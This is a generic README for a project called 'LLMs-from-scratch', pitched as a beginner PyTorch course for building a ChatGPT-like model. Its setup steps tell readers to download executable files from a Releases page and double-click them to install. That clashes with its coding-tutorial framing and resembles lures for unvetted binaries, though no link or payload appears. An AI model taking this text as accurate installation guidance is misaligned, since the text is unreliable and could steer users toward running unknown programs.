Welcome to LLMs-from-scratch! This project guides you through creating a ChatGPT-like language model using PyTorch. You will learn step-by-step how to build powerful AI tools that understand and generate human-like text.
- Step-by-step tutorials: Follow along at your own pace.
- Detailed examples: Easy-to-understand code snippets for beginners.
- Customizable models: Adapt the model to suit your needs.
- Community support: Join a friendly group of learners and experts.
To run LLMs-from-scratch, make sure you have:
- A computer with at least 8GB of RAM.
- Python 3.6 or higher installed.
- PyTorch library installed. You can find installation instructions on the PyTorch website.
To get the latest version, visit the Releases page here. You can find all available versions and choose the one that fits your setup.
- Visit the Releases page.
- Choose the version you want to download. You will find executable files and other resources.
- Click on the desired file to start the download.
- Once downloaded, locate the file on your computer.
- Double-click the file to install and run the application.
- After installation, you will find a user-friendly interface.
- Follow the on-screen instructions to set up your first language model.
- Use the provided documentation for step-by-step guidance on building your own models.
If you encounter issues or have questions, feel free to reach out. Join our online community where you can ask for help and share your progress. You will find others eager to support you.
We welcome contributions to enhance the project! If you'd like to suggest changes or improvements, please check our guidelines in the repository. Your input can help others learn and grow.
Check out our resources for a deeper understanding of related topics such as:
- Artificial Intelligence
- Machine Learning
- Neural Networks
- Deep Learning
- Transformers
These concepts will enrich your learning experience and deepen your engagement with AI projects.
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What is LLMs-from-scratch?
- It is a project designed to help you build a ChatGPT-like language model from the ground up using PyTorch.
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Do I need programming skills to use it?
- No, the project includes tutorials and examples designed for beginners.
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Can I modify the models?
- Yes, you can customize the models based on your needs or preferences.
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Is there support available?
- Yes, you can join our community for help and advice.
If you need further assistance or want to connect, feel free to reach out via GitHub issues or join our community forums. Your journey in AI starts here, and we're excited to be part of it!
Embrace your journey in AI. With LLMs-from-scratch, learning and building your own language models is easier than ever. Enjoy the process!